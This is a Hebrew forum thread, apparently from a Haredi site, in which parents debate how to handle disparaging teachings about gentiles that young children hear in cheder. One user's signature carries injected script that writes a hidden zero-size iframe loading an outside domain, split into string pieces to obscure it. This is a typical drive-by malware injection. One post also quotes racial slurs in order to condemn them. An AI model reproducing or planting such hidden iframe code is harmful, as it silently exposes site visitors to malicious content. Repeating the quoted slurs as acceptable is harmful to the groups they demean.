בית פורומים עצור כאן חושבים

שאלה לקהל הפורום

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-24/6/2013 07:45 לינק ישיר 

האם אנו יכולים לתקן את המסרים שמועברים במערכת החינוך?

האם אין אנו יוצרים סתירות שיפגעו בילד שלא ידע איך ליישב בין הבית לבין החוץ?

זו שאלה לא רק עיונית. זו שאלה מעשית שכמדומה רבים מאיתנו מתחבטים בה.

האם ילד בן ארבע, למשל, מסוגל להפנים שיש אי דיוק אצל הרבי בחיידר, ושיש שתי תפיסות, של אבא ושל הרבי? או שזה ייצור סתירה שהזקיה רבים על תועלתה?

אולי עדיף למצוא "תירוץ" אחר לסתירה: שפעם פעם הגויים לא היו מתוקנים ולכן אפשר היה לומר עליהם את המדרש הזה, אבל היום, לאחר שהתורה השפיעה על העולם, הגויים, לפחות חלקם, כבר מתוקנים יותר. זאת כמובן שיטת המאירי, אז יש לנו גם גיבוי בספרים המקובלים בינינו, ואין לזלזל בצורך הזה עבור ילדים שאינם מסוגלים עדיין ללכת אחרי דעתם נגד הסביבה, ולא ראוי לדרוש מהם דבר זה.

ובימיו הראשונים של הפורום עסקו הרבה במה שכינו "שקרים קדושים"  מסוג זה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 09:07 לינק ישיר 

מיימוני כתב:
האם ילד בן ארבע, למשל, מסוגל להפנים שיש אי דיוק אצל הרבי בחיידר, ושיש שתי תפיסות, של אבא ושל הרבי? או שזה ייצור סתירה שהזקיה רבים על תועלתה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");


מה זה אנדרסטייטמנט?
ללמד שהגויים חיות הכושים תת אדם ושאר פנינים זה אי דיוק?
ראה את ההתיחסות של חברנו אייזין  לגויים ותראה לאן הגיעו ה"אי דיוקים" האלה.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/6/2013 10:07 לינק ישיר 

כשנגלה הקדוש ברוך הוא ליתן תורה לישראל, לא על ישראל בלבד הוא נגלה אלא על כל האומות.
תחילה הלך אצל בני עשיו, אמר להם: מקבלים אתם את התורה? אמרו לו: מה כתוב בה? אמר להם: 'לא תרצח'. אמרו: כל עצמם של אותם האנשים ואביהם רוצח הוא...
הלך אצל בני עמון ומואב, אמר להם: מקבלים אתם את התורה? אמרו לו: מה כתוב בה? אמר להם: 'לא תנאף'. אמרו לו: כל עצמה של ערווה - להם היא...
הלך אצל בני ישמעאל, אמר להם: מקבלים אתם את התורה? אמרו לו: מה כתוב בה? אמר להם: 'לא תגנוב'. אמרו לו: כל עצמם אביהם ליסטים היה...
וכן לכל אומה ואומה שאל להם אם מקבלים את התורה... לא דיים שלא שמעו אלא אפילו שבע מצוות שקיבלו עליהם בני נח לא יכלו לעמוד בהם, עד שפרקום.
כיון שראה הקדוש ברוך הוא כך, נתנם לישראל.



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/6/2013 10:17 לינק ישיר 

הוא שאל גם את ישראל- מקבלים אתם את התורה? שאלו כמה זה עולה? אמר להם חינם אין כסף!
אמרו לו טוב אז תן שתיים!



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 10:23 לינק ישיר 

ירוחם, בד"כ אתה מקורי יותר. :)

בעל, יש להעיר שלאחר מתן תורה לישראל כל ההלכות הללו בכל זאת מחייבות את הגויים (שהרי מדובר בשבע מצוות בני נוח). מוזר, לא?



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 12:01 לינק ישיר 

מיכי
לעם ישראל הציווי נובע מסיני, האם גם לבני נוח?



דדווח על תוכן פוגעני

מחובר
נשלח ב-24/6/2013 12:03 לינק ישיר 

אוואדע



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 14:20 לינק ישיר 

דייר

תודה.

היה עלי להבהיר דברי.

התייחסות זו לגויים היא פסולה מכל וכל, והיא גם לא נכונה, כלומר לא משקפת את דבר התורה ולא, לדעתי, את דעת חז"ל.

אבל כאשר אנו באים להסביר זאת לילד קט, שאינו מסוגל לשאת הרבה סתירות, וששולחים אותו לחיידר, זה עלול לגרום לו לבעיות קשות.

אבא צודק? הרבי צודק? למי להאמין?

למה לא לחסוך מהילד את הסתירות על ידי תיקון של התכנים והתייחסות שדנה לכף זכות את הרבי בחיידר, גם אם זה לא מגיע לו, בתור מייצג של שיטה פסולה?

שים לב שגם במוסדות אחרים, ואפילו בפוליטיקה, ובוודאי בפורום, אנו משתדלים להקפיד על לשון רכה. לא "אתה טועה מכל וכל" אלא "כמדומה שיש כאן אי דיוק".

אמנם עלי להוסיף נקודה, שבה שוב צדקו דבריך מדברי.

יש דעות שהן כה פסולות, שאסור להניח להן מקום. היחס לגויים באופן זה הוא דוגמא לדבר.

אבל שוב יש לשאול: כיצד לעשות זאת בלי שהנזק יהיה רב מהתועלת.

פתרון אפשרי, שוב, הוא בשיטת האוקימתא.

למשל כך:

הרבי סיפר על הגויים הרשעים שהיו פעם, אלו שלא רצו להימנע מרציחה, מגזל.

היום הגויים כבר הושפעו מהתורה והם אחרת.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 14:21 לינק ישיר 

בעל, הרמב"ם בסופ"ח ממלכים מדבר על בני נוח.



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 15:18 לינק ישיר 

מיימוני תודה על התשובה.
הפתרון הוא להוציא אותו מהחיידר ולשים אותו בבית ספר נורמלי ואם אפשר לעזוב את החברה
החולה הזאת שבכלל נותנת לסוג כזה של גישות להתקיים.
כמו שאומרים למה להכניס ראש בריא למיטה חולה.


תוקן על ידי דייר ב- 24/06/2013 15:17:17




דדווח על תוכן פוגעני

מחובר
נשלח ב-24/6/2013 20:44 לינק ישיר 

ילד מסוגלים לשאת סתירות רבות.
מעבר לכך, יש חשיבות שילד יידע שלא כל מה שהוא לומד נכון.
לכל ילד יש לדבר בשפתו ולפי רמתו, דברים נכונים.

אני משתדל לחשוף אותו לדברים שונים, שילמד שיש דברים שונים ומשונים.

בעיני, זו הזדמנות לחינוך נגד גזענות.

חינוך פלורליסטי, חושף ילד לערכים ודעות שונות, ולא תמיד מכריע מה נכון.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 20:47 לינק ישיר 

דייר כתב:


מיימוני תודה על התשובה.
הפתרון הוא להוציא אותו מהחיידר ולשים אותו בבית ספר נורמלי ואם אפשר לעזוב את החברה
החולה הזאת שבכלל נותנת לסוג כזה של גישות להתקיים.
כמו שאומרים למה להכניס ראש בריא למיטה חולה.


תוקן על ידי דייר ב- 24/06/2013 15:17:17



בכל ממסד יש דעות ותופעות בעייתיות, אין חברה אוטופית.

בכל מקרה זה לא בידיים שלי.


נשלח מהאנדרואיד שלי




דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 21:11 לינק ישיר 

מערכות חינוך המוניות נוטות לשטוף את מוחם של ילדים בדעות קדומות ואמונות תפלות, כי קל יותר לחנך הרבה ילדים באמצעות מורים בינוניים, מאשר להקדיש להוראה את האיכות והזמן שבאמת נדרשים.

ילדים מסוגלים להכיל סתירות, אולם ברובם אינם בוגרים ונבונים דיים להבחין באמת, מה עוד שמקשיבים יותר לדעות קיצוניות.




דדווח על תוכן פוגעני

מחובר
נשלח ב-24/6/2013 21:36 לינק ישיר 

כרגע הבן שלי החסיד הראשון שלי. 
וכדרכם של חסידים מה שהאדמו"ר אומר זה האמת. ;)



דדווח על תוכן פוגעני

מנותק
נשלח ב-24/6/2013 21:48 לינק ישיר 

MotiGolds כתב:
שאנחנו ערימה של פנאטים "נערי גבעות"

נער, אתה לא רוצה להיות נער גבעות? כלומר סתם ערימה.

_________________

לְיִשְׁרֵי-לֵב שִׂמְחָה




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > שאלה לקהל הפורום
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 לדף הבא סך הכל 4 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.